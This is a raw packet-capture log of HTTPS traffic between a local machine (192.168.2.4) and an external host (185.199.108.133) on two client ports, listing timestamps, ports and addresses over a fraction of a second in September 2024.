Sep 20, 2024 12:14:49.871917009 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.871989012 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.871999979 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.872072935 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.872247934 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.872267008 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.872348070 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.872359037 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.872420073 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.872677088 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.872694969 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.872767925 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.872778893 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.872845888 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.873320103 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.873337984 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.873447895 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.873459101 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.873517990 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.879663944 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.879683018 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.879879951 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.879890919 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.879935980 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.879965067 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.879973888 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.879985094 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.880043983 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.880085945 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.907924891 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.907984018 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.908117056 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.908158064 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.908189058 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.908196926 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.908216000 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.908237934 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.908279896 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.908291101 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.908332109 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.909809113 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.909837961 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.910032988 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.910041094 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.910087109 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.910109997 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.910160065 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.910167933 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.910193920 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.925295115 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.925323009 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.925420046 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.925429106 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.925585985 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.925812960 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.925837040 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.926014900 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.926024914 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.926232100 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.926260948 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.926335096 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.926345110 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.956789017 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.956813097 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.956932068 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.956950903 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.957016945 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.958430052 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.958450079 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.958534956 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.958547115 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.958626032 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.958771944 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.958801985 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.958853960 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.958863974 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.958889961 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.958978891 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.959198952 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.959218025 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.959296942 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.959309101 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.959368944 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.959589005 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.959609032 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.959687948 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.959712982 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.959778070 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.960376024 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.960397959 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.960463047 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.960474014 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.960534096 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.972212076 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.981230974 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.981250048 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.981477976 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.981488943 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.981544018 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.981580019 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.981812954 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.981839895 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.982131004 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.995328903 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.995435953 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.995614052 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.995624065 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.995692015 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.995697021 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.995717049 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.995747089 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.995760918 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.995803118 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.995810032 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.995825052 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.995851040 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.995882034 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.995891094 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.995918036 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.995966911 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.996606112 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.996654034 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.996815920 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.996823072 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.996880054 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.996884108 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.996898890 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.996925116 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.996952057 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.996958971 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.996983051 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.997013092 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.013056993 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.013092995 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.013183117 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.013223886 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.013232946 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.013240099 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.013313055 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.013362885 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.013495922 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.013523102 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.013573885 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.013581991 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.013622046 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.043757915 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.043781042 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.044039965 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.044071913 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.044136047 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.045624971 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.045643091 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.045717001 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.045725107 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.045770884 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.045795918 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.046006918 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.046026945 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.046099901 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.046107054 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.046161890 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.046484947 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.046504021 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.046571016 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.046576023 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.046624899 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.046798944 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.046818018 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.046874046 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.046880960 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.046931982 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.047429085 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.047449112 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.047511101 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.047517061 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.047569036 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.065838099 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.067186117 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.067276001 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.067348003 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.067362070 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.067436934 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.067436934 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.067460060 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.067504883 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.067558050 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.067569017 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.067598104 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.067625999 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.081573009 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.081610918 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.081692934 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.081707001 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.081759930 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.082159042 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.082186937 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.082231998 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.082242012 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.082272053 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.082293034 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.082559109 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.082583904 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.082619905 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.082681894 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.082688093 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.082732916 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.083457947 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.083482027 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.083528042 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.083537102 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.083580971 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.083992958 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.084017038 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.084074974 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.084083080 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.084109068 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.084136963 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.099687099 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.099720955 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.099848032 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.099848032 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.099864006 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.099930048 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.100022078 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.100048065 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.100087881 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.100095987 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.100147009 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.100183964 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.100482941 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.100508928 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.100554943 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.100563049 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.100600958 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.101016045 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.131061077 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.131155014 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.131217003 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.131237984 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.131273031 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.132746935 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.132791996 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.132837057 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.132849932 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.132885933 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.134604931 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.134644985 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.134685040 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.134699106 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.134727001 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.135138988 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.135176897 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.135219097 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.135230064 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.135256052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.135399103 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.135464907 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.135469913 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.135493994 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.135543108 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.135636091 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.135688066 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.135725021 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.135736942 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.135766029 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.154277086 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.154318094 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.154484987 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.154484987 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.154504061 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.154705048 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.154774904 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.154793024 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.154804945 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.154845953 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.168792963 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.168829918 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.168908119 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.168917894 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.169053078 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.169054031 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.169090033 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.169115067 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.169481039 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.169488907 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.169543982 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.169625044 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.169647932 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.169713020 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.169719934 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.169765949 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.170563936 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.170588017 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.170689106 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.170695066 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.170793056 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.171066046 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.171092987 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.171149015 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.171155930 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.171191931 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.187038898 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.187108994 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.187249899 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.187249899 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.187256098 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.187863111 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.187890053 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.188020945 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.188029051 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.188082933 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.188246965 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.188270092 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.188424110 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.188431025 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.188482046 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.206568003 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.221438885 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.221482038 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.221555948 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.221592903 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.221621037 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.221672058 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.223807096 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.223849058 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.223912001 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.223926067 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.223953009 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.223989964 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.225373030 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.225414038 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.225454092 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.225467920 CEST	443	58640	185.199.108.133	192.168.2.4
